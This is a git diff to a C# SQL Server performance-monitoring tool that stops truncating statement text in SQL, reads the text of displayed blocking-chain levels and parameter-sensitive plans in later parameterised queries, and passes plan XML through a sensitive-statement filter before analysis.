diff --git a/Lite/Analysis/BlockingPairRowQuery.cs b/Lite/Analysis/BlockingPairRowQuery.cs
index f5d692ce10..750228dffe 100644
--- a/Lite/Analysis/BlockingPairRowQuery.cs
+++ b/Lite/Analysis/BlockingPairRowQuery.cs
@@ -1,11 +1,13 @@
 using System;
 using System.Collections.Generic;
 using System.Data.Common;
+using System.Linq;
 using System.Numerics;
 using System.Threading;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitor.Analysis;
+using PerformanceMonitorLite.Database;
 
 namespace PerformanceMonitorLite.Analysis;
 
@@ -110,15 +112,20 @@ public static long ToInt64(object value)
     /// </summary>
     internal static async Task AppendDmvSnapshotRowsAsync(
         Func<DuckDBCommand> createCommand, List<BlockingPairRow> rows, int serverId, DateTime start, DateTime end,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken, bool includeText = true)
     {
         var dmv = new List<BlockingPairRow>();
         using (var cmd = createCommand())
         {
+            /* #5361: includeText false is the drill-down's text-free read (empty text, fetched afterwards for the
+               levels it shows); the fact collector and the viewer keep the whole text. */
+            var textColumns = includeText
+                ? "blocked_sql_text, blocking_sql_text"
+                : "''::VARCHAR AS blocked_sql_text, ''::VARCHAR AS blocking_sql_text";
             cmd.CommandText = $@"
 SELECT
     {LeadingColumns},
-    blocked_sql_text, blocking_sql_text,
+    {textColumns},
     {IdentityColumns},
     contentious_object,
     {TrailingIdentityColumns}
@@ -138,4 +145,74 @@ ORDER BY event_time DESC
 
         BlockingPairRowMerge.MergeInto(rows, dmv);
     }
+
+    /// <summary>The most levels one text read asks for: each key is five parameters, and a long OR/IN list is slow to plan.</summary>
+    private const int ChainLevelTextBatch = 200;
+
+    /// <summary>
+    /// Reads the whole statement text of the pair-rows behind the chain levels a drill-down shows (#5361), by event key,
+    /// from one source: the blocked process reports (<paramref name="dmvSource"/> false, through
+    /// <see cref="StoredEventCopies"/> like every read of that table) or the DMV snapshots. Returns each key's blocked and
+    /// blocking text, NULL read as empty text as <see cref="Read"/> does; a key whose row is gone is absent. A missing
+    /// spid or ecid reads as 0 on both sides, exactly as <see cref="Read"/> maps it. When more than one row of a key is
+    /// stored, the one with the longest wait is read, which is the row the reconstruction keeps for an edge.
+    /// </summary>
+    internal static async Task<Dictionary<PairRowKey, (string BlockedSql, string BlockingSql)>> ReadChainLevelTextAsync(
+        Func<DuckDBCommand> createCommand, bool dmvSource, int serverId, IReadOnlyCollection<PairRowKey> keys,
+        CancellationToken cancellationToken)
+    {
+        var text = new Dictionary<PairRowKey, (string BlockedSql, string BlockingSql)>();
+        var list = keys.ToList();
+        for (var offset = 0; offset < list.Count; offset += ChainLevelTextBatch)
+        {
+            var batch = list.GetRange(offset, Math.Min(ChainLevelTextBatch, list.Count - offset));
+            using var cmd = createCommand();
+            cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+            cmd.Parameters.Add(new DuckDBParameter { Value = batch.Min(k => k.EventTime) });
+            cmd.Parameters.Add(new DuckDBParameter { Value = batch.Max(k => k.EventTime) });
+            var tuples = new List<string>(batch.Count);
+            var next = 4;
+            foreach (var key in batch)
+            {
+                tuples.Add($"(${next}::TIMESTAMP, ${next + 1}::INTEGER, ${next + 2}::INTEGER, ${next + 3}::INTEGER, ${next + 4}::INTEGER)");
+                next += 5;
+                cmd.Parameters.Add(new DuckDBParameter { Value = key.EventTime });
+                cmd.Parameters.Add(new DuckDBParameter { Value = key.BlockedSpid });
+                cmd.Parameters.Add(new DuckDBParameter { Value = key.BlockedEcid });
+                cmd.Parameters.Add(new DuckDBParameter { Value = key.BlockingSpid });
+                cmd.Parameters.Add(new DuckDBParameter { Value = key.BlockingEcid });
+            }
+
+            var where = "server_id = $1 AND event_time >= $2 AND event_time <= $3 AND "
+                + "(event_time, COALESCE(blocked_spid, 0), COALESCE(blocked_ecid, 0), blocking_spid, COALESCE(blocking_ecid, 0)) IN ("
+                + string.Join(", ", tuples) + ")";
+            var source = dmvSource
+                ? $"v_dmv_blocking_snapshots WHERE {where}"
+                : $"{StoredEventCopies.BlockedProcessReports(where)} AS ev";
+            cmd.CommandText = $@"
+SELECT
+    event_time,
+    COALESCE(blocked_spid, 0),
+    COALESCE(blocked_ecid, 0),
+    blocking_spid,
+    COALESCE(blocking_ecid, 0),
+    blocked_sql_text,
+    blocking_sql_text
+FROM {source}
+ORDER BY wait_time_ms DESC NULLS LAST";
+
+            using var reader = await cmd.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                var key = new PairRowKey(
+                    reader.GetDateTime(0), Convert.ToInt32(reader.GetValue(1)), Convert.ToInt32(reader.GetValue(2)),
+                    Convert.ToInt32(reader.GetValue(3)), Convert.ToInt32(reader.GetValue(4)));
+                /* Longest wait first, so TryAdd keeps that row. */
+                text.TryAdd(key, (reader.IsDBNull(5) ? string.Empty : reader.GetString(5),
+                    reader.IsDBNull(6) ? string.Empty : reader.GetString(6)));
+            }
+        }
+
+        return text;
+    }
 }
diff --git a/Lite/Analysis/DrillDownCollector.Blocking.cs b/Lite/Analysis/DrillDownCollector.Blocking.cs
index a16a07846b..9fcc9c06fb 100644
--- a/Lite/Analysis/DrillDownCollector.Blocking.cs
+++ b/Lite/Analysis/DrillDownCollector.Blocking.cs
@@ -16,6 +16,10 @@ namespace PerformanceMonitorLite.Analysis;
 
 public partial class DrillDownCollector
 {
+    /// <summary>The characters of a statement a drill-down prints. The reads return the WHOLE text, the statement filter
+    /// judges it, and the cut to this length comes after (#5320): a cut made in SQL first leaves the filter a prefix.</summary>
+    internal const int StatementPreviewLength = 500;
+
     private async Task CollectTopDeadlocks(AnalysisFinding finding, AnalysisContext context)
     {
         using var readLock = _duckDb.AcquireReadLock(context.CancellationToken);
@@ -30,7 +34,7 @@ whose database (the event's database on the telemetry arm) is set, not master an
         using var cmd = connection.CreateCommand();
         cmd.CommandText = (@"
 SELECT collection_time, deadlock_time, victim_process_id,
-       LEFT(victim_sql_text, 500) AS victim_sql,
+       victim_sql_text AS victim_sql,
        deadlock_graph_xml{FLAG}
 FROM " + StoredEventCopies.Deadlocks("server_id = $1 AND deadlock_time >= $2 AND deadlock_time <= $3") + @" AS dl
 ORDER BY deadlock_time DESC
@@ -59,7 +63,7 @@ Objects field. The raw graph XML is NOT surfaced (it would bloat the alert detai
                 time = reader.IsDBNull(0) ? "" : reader.GetDateTime(0).ToString("o"),
                 deadlock_time = reader.IsDBNull(1) ? "" : reader.GetDateTime(1).ToString("o"),
                 victim = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                victim_sql = reader.IsDBNull(3) ? "" : reader.GetString(3),
+                victim_sql = reader.IsDBNull(3) ? "" : McpHelpers.StatementPreview(reader.GetString(3), StatementPreviewLength),
                 objects = string.Join(", ", objects)
             });
         }
@@ -85,8 +89,8 @@ private async Task CollectTopBlockingChains(AnalysisFinding finding, AnalysisCon
 (
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM " + StoredEventCopies.BlockedProcessReports("server_id = $1 AND event_time >= $2 AND event_time <= $3{SCOPE}") + @" AS ev
 
@@ -94,8 +98,8 @@ UNION ALL
 
     SELECT collection_time, database_name, blocked_spid, blocking_spid,
            wait_time_ms, lock_mode,
-           LEFT(blocked_sql_text, 500) AS blocked_sql,
-           LEFT(blocking_sql_text, 500) AS blocking_sql,
+           blocked_sql_text AS blocked_sql,
+           blocking_sql_text AS blocking_sql,
            contentious_object
     FROM v_dmv_blocking_snapshots
     WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3{SCOPE}
@@ -120,8 +124,8 @@ ORDER BY wait_time_ms DESC
                 blocking_spid = reader.IsDBNull(3) ? 0 : Convert.ToInt32(reader.GetValue(3)),
                 wait_time_ms = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
                 lock_mode = reader.IsDBNull(5) ? "" : reader.GetString(5),
-                blocked_sql = reader.IsDBNull(6) ? "" : reader.GetString(6),
-                blocking_sql = reader.IsDBNull(7) ? "" : reader.GetString(7),
+                blocked_sql = reader.IsDBNull(6) ? "" : McpHelpers.StatementPreview(reader.GetString(6), StatementPreviewLength),
+                blocking_sql = reader.IsDBNull(7) ? "" : McpHelpers.StatementPreview(reader.GetString(7), StatementPreviewLength),
                 contentious_object = reader.IsDBNull(8) ? "" : reader.GetString(8)
             });
         }
@@ -143,13 +147,17 @@ private async Task CollectReconstructedBlockingChains(AnalysisFinding finding, A
 
         using var cmd = connection.CreateCommand();
         // SpidFilter keeps Lite's drill-down, fact collector, and viewer fetch in lockstep on the apex
-        // (Lite maps a missing blocker to spid 0 — see BlockingPairRowQuery). SQL text is truncated here
-        // for the drill-down payload; the shared reader mapping is unaffected (same column order).
+        // (Lite maps a missing blocker to spid 0 — see BlockingPairRowQuery). The pair-rows come back WITHOUT statement
+        // text (#5361): up to 5,000 rows of whole text, 131 times the bytes of the 500-character cut this read carried
+        // before #5320, to print the levels of three chains. The reconstruction picks the rows, and
+        // BlockingPairRowQuery.ReadChainLevelTextAsync then reads the whole text of only the levels shown, by event key;
+        // the drill-down payload judges it and cuts it in C# (#5320). The shared reader mapping is unaffected (same
+        // column order, empty text in the two text columns).
         cmd.CommandText = $@"
 SELECT
     {BlockingPairRowQuery.LeadingColumns},
-    LEFT(blocked_sql_text, 500) AS blocked_sql,
-    LEFT(blocking_sql_text, 500) AS blocking_sql,
+    ''::VARCHAR AS blocked_sql,
+    ''::VARCHAR AS blocking_sql,
     {BlockingPairRowQuery.IdentityColumns},
     contentious_object,
     {BlockingPairRowQuery.TrailingIdentityColumns}
@@ -168,11 +176,17 @@ ORDER BY event_time DESC
                 rows.Add(BlockingPairRowQuery.Read(reader));
         }
 
+        var bprRowCount = rows.Count;
+
         // Always-on DMV blocking snapshot fallback. Merge BEFORE the empty check so DMV-only blocking
         // (blocked-process-report unavailable, e.g. AWS RDS) still reconstructs.
         await BlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
             connection.CreateCommand, rows, context.ServerId, context.TimeRangeStart, context.TimeRangeEnd,
-            context.CancellationToken);
+            context.CancellationToken, includeText: false);
+
+        /* #5361: the merge appends only the DMV edges no blocked-process-report edge already holds, after the report
+           rows, so every row past the report count is DMV-sourced: the source of each level's text read below. */
+        var dmvKeys = rows.Skip(bprRowCount).Select(r => r.Key).ToHashSet();
 
         if (context.SeparatelyMonitoredDatabases is { Count: > 0 } scopeList)
             rows.RemoveAll(r => !string.IsNullOrEmpty(r.DatabaseName)
@@ -183,8 +197,22 @@ await BlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
         var reconstruction = BlockingChainReconstructor.Reconstruct(
             rows, maxDepth: 50, maxPairs: 5000, stepBudget: 100_000, scopeByMonitorLoop: false);
 
+        var shownChains = reconstruction.Chains.Take(3).ToList();
+
+        /* #5361: whole statement text for the levels that print, by event key, one read per source. A level whose row
+           is gone by now reads as empty text. The text is judged and cut below, as before. */
+        var shownKeys = shownChains.SelectMany(c => c.Levels).Select(l => l.Key).Distinct().ToList();
+        var bprText = await BlockingPairRowQuery.ReadChainLevelTextAsync(
+            connection.CreateCommand, dmvSource: false, context.ServerId,
+            shownKeys.Where(k => !dmvKeys.Contains(k)).ToList(), context.CancellationToken);
+        var dmvText = await BlockingPairRowQuery.ReadChainLevelTextAsync(
+            connection.CreateCommand, dmvSource: true, context.ServerId,
+            shownKeys.Where(dmvKeys.Contains).ToList(), context.CancellationToken);
+        (string BlockedSql, string BlockingSql) TextOf(ChainLevel l) =>
+            (dmvKeys.Contains(l.Key) ? dmvText : bprText).GetValueOrDefault(l.Key, (string.Empty, string.Empty));
+
         var items = new List<object>();
-        foreach (var chain in reconstruction.Chains.Take(3))
+        foreach (var chain in shownChains)
         {
             items.Add(new
             {
@@ -201,8 +229,8 @@ await BlockingPairRowQuery.AppendDmvSnapshotRowsAsync(
                     blocked_spid = l.BlockedSpid,
                     lock_mode = l.LockMode,
                     wait_time_ms = l.WaitTimeMs,
-                    blocking_sql = l.BlockingSqlText,
-                    blocked_sql = l.BlockedSqlText
+                    blocking_sql = McpHelpers.StatementPreview(TextOf(l).BlockingSql, StatementPreviewLength),
+                    blocked_sql = McpHelpers.StatementPreview(TextOf(l).BlockedSql, StatementPreviewLength)
                 }).ToList()
             });
         }
diff --git a/Lite/Analysis/DrillDownCollector.Config.cs b/Lite/Analysis/DrillDownCollector.Config.cs
index 6fe49f3d93..49f038754f 100644
--- a/Lite/Analysis/DrillDownCollector.Config.cs
+++ b/Lite/Analysis/DrillDownCollector.Config.cs
@@ -29,11 +29,14 @@ private async Task CollectConfigIssues(AnalysisFinding finding, AnalysisContext
 FROM v_database_config
 WHERE server_id = $1
 AND   capture_time = (SELECT MAX(capture_time) FROM v_database_config WHERE server_id = $1)
+/*SEC*/
 AND   (is_auto_shrink_on = true OR is_auto_close_on = true
        OR is_read_committed_snapshot_on = false OR page_verify_option != 'CHECKSUM')
 ORDER BY database_name";
 
         cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
+        /* #5558: the same databases the fact skipped. */
+        cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "DB_CONFIG", "database_name", 2);
 
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
diff --git a/Lite/Analysis/DrillDownCollector.Plans.cs b/Lite/Analysis/DrillDownCollector.Plans.cs
index c04a4bce66..69220e5f60 100644
--- a/Lite/Analysis/DrillDownCollector.Plans.cs
+++ b/Lite/Analysis/DrillDownCollector.Plans.cs
@@ -71,6 +71,10 @@ is NOT swallowed here (#2443). */
         // Fetch plan XML live from SQL Server
         var planXml = await _planFetcher.FetchPlanXmlAsync(context.ServerId, planHandle, context.CancellationToken);
         if (string.IsNullOrEmpty(planXml)) return;
+        // #4348: the plan is judged BEFORE it is analyzed. A warning quotes up to 300 characters of a predicate or
+        // a statement from the plan, so a statement the filter withholds must reach the analyzer already withheld,
+        // with its predicates and parameter values: each quote is then judged with its statement.
+        planXml = SensitiveStatements.Xml(planXml)!;
 
         try
         {
@@ -226,7 +230,7 @@ ORDER BY delta_worker_time DESC
                 while (await reader.ReadAsync(context.CancellationToken))
                 {
                     if (!reader.IsDBNull(0))
-                        planXmls.Add(reader.GetString(0));
+                        planXmls.Add(SensitiveStatements.Xml(reader.GetString(0))!); // #4348: judged before the analyzer quotes it
                 }
             }
 
diff --git a/Lite/Analysis/DrillDownCollector.Queries.cs b/Lite/Analysis/DrillDownCollector.Queries.cs
index cd70e70429..8dd497e322 100644
--- a/Lite/Analysis/DrillDownCollector.Queries.cs
+++ b/Lite/Analysis/DrillDownCollector.Queries.cs
@@ -55,7 +55,7 @@ ORDER BY sqlserver_cpu_utilization DESC
 SELECT collection_time, session_id, database_name, status,
        cpu_time_ms, total_elapsed_time_ms, logical_reads,
        wait_type, dop, parallel_worker_count,
-       LEFT(query_text, 500) AS query_text
+       query_text
 FROM v_query_snapshots
 WHERE server_id = $1
 AND   collection_time >= $2
@@ -85,7 +85,7 @@ ORDER BY cpu_time_ms DESC
                     wait_type = reader.IsDBNull(7) ? "" : reader.GetString(7),
                     dop = reader.IsDBNull(8) ? 0 : reader.GetInt32(8),
                     parallel_workers = reader.IsDBNull(9) ? 0 : reader.GetInt32(9),
-                    query_text = reader.IsDBNull(10) ? "" : reader.GetString(10)
+                    query_text = reader.IsDBNull(10) ? "" : McpHelpers.StatementPreview(reader.GetString(10), 500)
                 });
             }
         }
@@ -182,7 +182,7 @@ LIMIT 5
        COALESCE
        (
            (
-               SELECT LEFT(MAX(v.query_text), 500)
+               SELECT MAX(v.query_text)
                FROM v_query_stats AS v
                WHERE v.server_id = $1 AND v.collection_time >= $2 AND v.collection_time <= $3
                AND   v.delta_worker_time > 0
@@ -191,7 +191,7 @@ AND   v.delta_worker_time > 0
            ),
            CASE WHEN t.database_name IS NULL OR t.query_hash IS NULL THEN
            (
-               SELECT LEFT(MAX(v.query_text), 500)
+               SELECT MAX(v.query_text)
                FROM v_query_stats AS v
                WHERE v.server_id = $1 AND v.collection_time >= $2 AND v.collection_time <= $3
                AND   v.delta_worker_time > 0
@@ -227,7 +227,7 @@ FROM top_queries AS t
                 /* #3648: newest plan's reading, null when unknown — never 0. History fields follow. */
                 max_dop = maxDop,
                 spills = reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
-                query_text = reader.IsDBNull(6) ? "" : reader.GetString(6),
+                query_text = reader.IsDBNull(6) ? "" : McpHelpers.StatementPreview(reader.GetString(6), 500),
                 plan_count = planCount,
                 max_dop_any_plan = maxDopAnyPlan,
                 max_dop_any_plan_last_seen = maxDopAnyPlanLastSeen?.ToString("o"),
@@ -250,7 +250,7 @@ private async Task CollectTopSpillingQueries(AnalysisFinding finding, AnalysisCo
 SELECT database_name, query_hash,
        SUM(delta_spills)::BIGINT AS total_spills,
        SUM(delta_execution_count)::BIGINT AS exec_count,
-       LEFT(MAX(query_text), 500) AS query_text
+       MAX(query_text) AS query_text
 FROM v_query_stats
 WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3
 AND   delta_spills > 0
@@ -272,7 +272,7 @@ ORDER BY total_spills DESC
                 query_hash = reader.IsDBNull(1) ? "" : reader.GetString(1),
                 total_spills = reader.IsDBNull(2) ? 0L : Convert.ToInt64(reader.GetValue(2)),
                 execution_count = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
-                query_text = reader.IsDBNull(4) ? "" : reader.GetString(4)
+                query_text = reader.IsDBNull(4) ? "" : McpHelpers.StatementPreview(reader.GetString(4), 500)
             });
         }
 
@@ -335,11 +335,13 @@ latest AS
         max_grant_kb,
         min_spills,
         max_spills,
-        query_text,
+        -- #5361: no text here. This window sort would carry every row's whole text (up to 64 KB each) to keep five
+        -- plans, and even a test of the column for NULL reads it, so the text of the plans that print is read afterwards
+        -- (ParameterSensitiveTextSql); a plan whose newest row has no text prints empty text, as before.
         ROW_NUMBER() OVER
         (
             PARTITION BY database_name, query_hash, query_plan_hash
-            ORDER BY collection_time DESC
+            ORDER BY collection_time DESC, collection_id DESC
         ) AS rn
     FROM v_query_stats, svr
     WHERE server_id = $1
@@ -357,7 +359,6 @@ AND   delta_execution_count > 0
     max_worker_time::DOUBLE PRECISION / NULLIF(min_worker_time, 0) AS worker_ratio,
     max_grant_kb::DOUBLE PRECISION / NULLIF(min_grant_kb, 0) AS grant_ratio,
     CASE WHEN max_spills > 0 AND min_spills = 0 THEN 1 ELSE 0 END AS spill_divergence,
-    LEFT(query_text, 500) AS query_text,
     creation_time,
     server_offset_minutes,
     server_time_zone_id
@@ -376,41 +377,134 @@ FROM latest
         /* $4: the first filter's bound, opened by an hour (#4821). The exact test is made below, per row. */
         cmd.Parameters.Add(new DuckDBParameter { Value = PlanCreationClock.RoughBound(context.TimeRangeStart) });
 
-        var items = new List<object>();
-        using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
-        while (await reader.ReadAsync(context.CancellationToken))
+        var kept = new List<ParameterSensitivePlan>();
+        /* Closed before the text read below: a connection runs one reader at a time. */
+        using (var reader = await cmd.ExecuteReaderAsync(context.CancellationToken))
         {
-            /* The exact compiled-before-the-window test with the offset in force when the plan was compiled
-               (#4821); the five-row cap is applied after it, not in SQL. */
-            if (reader.IsDBNull(10)
-                || !PlanCreationClock.CompiledBeforeWindow(
-                    PlanCreationClock.ClockFrom(reader, 11, 12), reader.GetDateTime(10), context.TimeRangeStart))
+            while (await reader.ReadAsync(context.CancellationToken))
             {
-                continue;
-            }
+                /* The exact compiled-before-the-window test with the offset in force when the plan was compiled
+                   (#4821); the five-row cap is applied after it, not in SQL. */
+                if (reader.IsDBNull(9)
+                    || !PlanCreationClock.CompiledBeforeWindow(
+                        PlanCreationClock.ClockFrom(reader, 10, 11), reader.GetDateTime(9), context.TimeRangeStart))
+                {
+                    continue;
+                }
 
-            if (items.Count >= ParameterSensitiveQueryCap)
-            {
-                break;
+                if (kept.Count >= ParameterSensitiveQueryCap)
+                {
+                    break;
+                }
+
+                kept.Add(new ParameterSensitivePlan(
+                    Key: new PlanKey(
+                        reader.IsDBNull(0) ? null : reader.GetString(0),
+                        reader.IsDBNull(1) ? null : reader.GetString(1),
+                        reader.IsDBNull(2) ? null : reader.GetString(2)),
+                    ExecutionCount: reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
+                    MinWorkerTimeUs: reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
+                    MaxWorkerTimeUs: reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
+                    WorkerRatio: reader.IsDBNull(6) ? 0.0 : Convert.ToDouble(reader.GetValue(6)),
+                    GrantRatio: reader.IsDBNull(7) ? 0.0 : Convert.ToDouble(reader.GetValue(7)),
+                    SpillsOnSomeInputs: !reader.IsDBNull(8) && Convert.ToInt32(reader.GetValue(8)) == 1));
             }
+        }
 
-            items.Add(new
+        if (kept.Count == 0)
+            return;
+
+        /* #5361: the whole text of the plans that print, not of every plan the read above ranked. One read; a plan whose
+           newest row has no text, or whose row is gone by now, prints empty text, as a row with no text did. */
+        var text = await ReadParameterSensitiveTextAsync(connection, kept.Select(p => p.Key).Distinct().ToList(), context);
+
+        finding.DrillDown!["parameter_sensitive_queries"] = kept.Select(p => (object)new
+        {
+            database = p.Key.Database ?? "",
+            query_hash = p.Key.QueryHash ?? "",
+            query_plan_hash = p.Key.QueryPlanHash ?? "",
+            execution_count = p.ExecutionCount,
+            min_worker_time_us = p.MinWorkerTimeUs,
+            max_worker_time_us = p.MaxWorkerTimeUs,
+            worker_ratio = p.WorkerRatio,
+            grant_ratio = p.GrantRatio,
+            spills_on_some_inputs = p.SpillsOnSomeInputs,
+            query_text = text.TryGetValue(p.Key, out var queryText)
+                ? McpHelpers.StatementPreview(queryText, 500)
+                : ""
+        }).ToList();
+    }
+
+    /// <summary>A parameter-sensitive plan the reader kept, before its text is read (#5361).</summary>
+    private sealed record ParameterSensitivePlan(
+        PlanKey Key,
+        long ExecutionCount,
+        long MinWorkerTimeUs,
+        long MaxWorkerTimeUs,
+        double WorkerRatio,
+        double GrantRatio,
+        bool SpillsOnSomeInputs);
+
+    /// <summary>A plan's identity in <see cref="ParameterSensitiveTextSql"/>: the three raw column values, NULL kept
+    /// as NULL (the printed fields map it to empty text), compared ordinally.</summary>
+    private readonly record struct PlanKey(string? Database, string? QueryHash, string? QueryPlanHash);
+
+    /// <summary>
+    /// The whole text of the parameter-sensitive plans the reader keeps (#5361): each plan's newest row of the window
+    /// with <c>delta_execution_count &gt; 0</c>, the row the ranking read called <c>rn = 1</c>, so a kept plan prints
+    /// the text it printed when the ranking read carried it. <c>$1</c> to <c>$3</c> are the server and the window; the
+    /// plans follow as <c>$4</c> upward, three to a plan, and a NULL part matches a NULL part (as the ranking's
+    /// <c>PARTITION BY</c> groups it). <c>{KEYS}</c> is replaced with that plan list.
+    /// </summary>
+    private const string ParameterSensitiveTextSql = @"
+SELECT database_name, query_hash, query_plan_hash, query_text
+FROM v_query_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   collection_time <= $3
+AND   delta_execution_count > 0
+AND   ({KEYS})
+QUALIFY ROW_NUMBER() OVER
+(
+    PARTITION BY database_name, query_hash, query_plan_hash
+    ORDER BY collection_time DESC
+) = 1";
+
+    private async Task<Dictionary<PlanKey, string>> ReadParameterSensitiveTextAsync(
+        DuckDBConnection connection, IReadOnlyList<PlanKey> plans, AnalysisContext context)
+    {
+        using var cmd = connection.CreateCommand();
+        var keys = new List<string>();
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeStart });
+        cmd.Parameters.Add(new DuckDBParameter { Value = context.TimeRangeEnd });
+        var next = 4;
+        foreach (var plan in plans)
+        {
+            keys.Add($"(database_name IS NOT DISTINCT FROM ${next} AND query_hash IS NOT DISTINCT FROM ${next + 1} "
+                + $"AND query_plan_hash IS NOT DISTINCT FROM ${next + 2})");
+            next += 3;
+            cmd.Parameters.Add(new DuckDBParameter { Value = (object?)plan.Database ?? DBNull.Value });
+            cmd.Parameters.Add(new DuckDBParameter { Value = (object?)plan.QueryHash ?? DBNull.Value });
+            cmd.Parameters.Add(new DuckDBParameter { Value = (object?)plan.QueryPlanHash ?? DBNull.Value });
+        }
+
+        cmd.CommandText = ParameterSensitiveTextSql.Replace("{KEYS}", string.Join(" OR ", keys));
+
+        var text = new Dictionary<PlanKey, string>();
+        using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
+        while (await reader.ReadAsync(context.CancellationToken))
+        {
+            if (!reader.IsDBNull(3))
             {
-                database = reader.IsDBNull(0) ? "" : reader.GetString(0),
-                query_hash = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                query_plan_hash = reader.IsDBNull(2) ? "" : reader.GetString(2),
-                execution_count = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
-                min_worker_time_us = reader.IsDBNull(4) ? 0L : Convert.ToInt64(reader.GetValue(4)),
-                max_worker_time_us = reader.IsDBNull(5) ? 0L : Convert.ToInt64(reader.GetValue(5)),
-                worker_ratio = reader.IsDBNull(6) ? 0.0 : Convert.ToDouble(reader.GetValue(6)),
-                grant_ratio = reader.IsDBNull(7) ? 0.0 : Convert.ToDouble(reader.GetValue(7)),
-                spills_on_some_inputs = !reader.IsDBNull(8) && Convert.ToInt32(reader.GetValue(8)) == 1,
-                query_text = reader.IsDBNull(9) ? "" : reader.GetString(9)
-            });
+                text[new PlanKey(
+                    reader.IsDBNull(0) ? null : reader.GetString(0),
+                    reader.IsDBNull(1) ? null : reader.GetString(1),
+                    reader.IsDBNull(2) ? null : reader.GetString(2))] = reader.GetString(3);
+            }
         }
 
-        if (items.Count > 0)
-            finding.DrillDown!["parameter_sensitive_queries"] = items;
+        return text;
     }
 
     /// <summary>
@@ -479,7 +573,7 @@ psp_signature AS
             ROW_NUMBER() OVER
             (
                 PARTITION BY database_name, query_hash, query_plan_hash
-                ORDER BY collection_time DESC
+                ORDER BY collection_time DESC, collection_id DESC
             ) AS rn
         FROM v_query_stats, svr
         WHERE server_id = $1
@@ -522,7 +616,7 @@ deduped AS
         ROW_NUMBER() OVER
         (
             PARTITION BY database_name, query_id, plan_id, replica_role, runtime_stats_interval_id, first_execution_time
-            ORDER BY collection_time DESC, execution_count DESC
+            ORDER BY collection_time DESC, execution_count DESC, collection_id DESC
         ) AS rn
     FROM v_query_store_stats
     WHERE server_id = $1
@@ -538,6 +632,7 @@ FROM v_query_store_stats
     -- subset.
     AND   ($5::VARCHAR[] IS NULL
            OR (list_contains($5::VARCHAR[], database_name) AND list_contains($6::BIGINT[], query_id)))
+    /*SEC*/
 ),
 plan_agg AS
 (
@@ -653,7 +748,7 @@ AND   l.query_plan_hash <> b.query_plan_hash
     best_cpu,
     best_dur,
     regression_factor,
-    LEFT(query_text, 500) AS query_text,
+    query_text,
     replica_role,
     psp_creation_time,
     best_plan_last_seen,
@@ -690,6 +785,9 @@ ORDER BY regression_factor DESC
         /* $7 (#4821): the psp_signature filter's first-pass bound, opened by an hour. The exact
            compiled-before-the-window test for the co-fired flag is made below, per row. */
         cmd.Parameters.Add(new DuckDBParameter { Value = PlanCreationClock.RoughBound(context.TimeRangeStart) });
+        /* $8 and up (#5558): the same databases the PLAN_REGRESSION fact skipped, for the pass where the fact did not
+           run and the offender list above is NULL. */
+        cmd.CommandText = SecondaryReplicaScope.Apply(cmd.CommandText, cmd, context, "PLAN_REGRESSION", "database_name", 8);
 
         var items = new List<object>();
         using var reader = await cmd.ExecuteReaderAsync(context.CancellationToken);
@@ -707,7 +805,7 @@ ORDER BY regression_factor DESC
                 best_cpu_per_exec_us = reader.IsDBNull(7) ? 0.0 : Convert.ToDouble(reader.GetValue(7)),
                 best_duration_per_exec_us = reader.IsDBNull(8) ? 0.0 : Convert.ToDouble(reader.GetValue(8)),
                 regression_factor = reader.IsDBNull(9) ? 0.0 : Convert.ToDouble(reader.GetValue(9)),
-                query_text = reader.IsDBNull(10) ? "" : reader.GetString(10),
+                query_text = reader.IsDBNull(10) ? "" : McpHelpers.StatementPreview(reader.GetString(10), 500),
                 /* #1850: which replica this regression was measured on. NULL — rendered as "" — on every
                    standalone/non-AG/pre-2022 server, which is the overwhelming majority; it is only
                    populated on an AG primary with Query Store for secondary replicas enabled, where two
@@ -764,7 +862,7 @@ FROM v_query_stats
     AND   query_hash = $4
 )
 SELECT database_name, query_hash,
-       LEFT(MAX(query_text), 500) AS query_text,
+       MAX(query_text) AS query_text,
        SUM(delta_execution_count)::BIGINT AS exec_count,
        CASE WHEN SUM(delta_execution_count) > 0
             THEN SUM(delta_worker_time)::DOUBLE PRECISION / SUM(delta_execution_count) / 1000.0
@@ -801,7 +899,7 @@ FROM windowed
             {
                 database = reader.IsDBNull(0) ? "" : reader.GetString(0),
                 query_hash = reader.IsDBNull(1) ? "" : reader.GetString(1),
-                query_text = reader.IsDBNull(2) ? "" : reader.GetString(2),
+                query_text = reader.IsDBNull(2) ? "" : McpHelpers.StatementPreview(reader.GetString(2), 500),
                 execution_count = reader.IsDBNull(3) ? 0L : Convert.ToInt64(reader.GetValue(3)),
                 avg_cpu_ms = reader.IsDBNull(4) ? 0.0 : Math.Round(Convert.ToDouble(reader.GetValue(4)), 2),
